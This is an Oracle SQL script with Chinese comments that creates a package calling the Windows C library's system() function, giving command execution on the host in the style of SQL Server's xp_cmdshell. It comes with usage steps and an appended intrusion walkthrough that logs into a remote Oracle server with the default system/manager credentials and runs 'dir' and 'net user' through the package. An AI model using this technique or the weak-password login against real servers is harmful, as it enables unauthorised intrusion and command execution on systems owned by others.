-- ----------------------------------------------------------------------------
-- SQL server下可以通过cmd_shell调用系统命令,其实Oracle下也可以。
--这个SQL就是建立一个类似于sql Server下cmd_shell的过程。
-- ----------------------------------------------------------------------------
-- windows下的cmd_shell
-- 在win2k下的oracle817测试成功
-- benjurry@xfocus.org
-- 使用方法:
--1、以dba 权限用sqlplus登陆oracle,
--2、假设这个文件放在d:\win_oracmd.sql,则在SQLplus中输入:@d:\win_oracmd.sql
--3、在sqlplus下输入 exec oracmd.exec ('dir > c:\dir.txt');
-- ----------------------------------------------------------------------------
CREATE OR REPLACE LIBRARY exec_shell AS 'C:\winnt\system32\msvcrt.dll';
/
show errors
CREATE OR REPLACE PACKAGE oracmd IS PROCEDURE exec (cmdstring IN CHAR);
end oracmd;
/
show errors
CREATE OR REPLACE PACKAGE BODY oracmd IS
PROCEDURE exec(cmdstring IN CHAR)
IS EXTERNAL
NAME "system"
LIBRARY exec_shell
LANGUAGE C;
end oracmd;
/
show errors
补充:
利用弱口令进行入侵:
C:\>sqlplus /nolog
SQL> connect
system/manager@(description=(address_list=(address=(protocol=tcp)(host=www.xx.com)(port=1521)))(connect_data=(SERVICE_NAME=ora9i)));
SQL> exec oracmd.exec ('dir >c:\dir.txt');
PL/SQL 过程已成功完成。
SQL> exec oracmd.exec ('net user >d:\cmd.txt');
PL/SQL 过程已成功完成。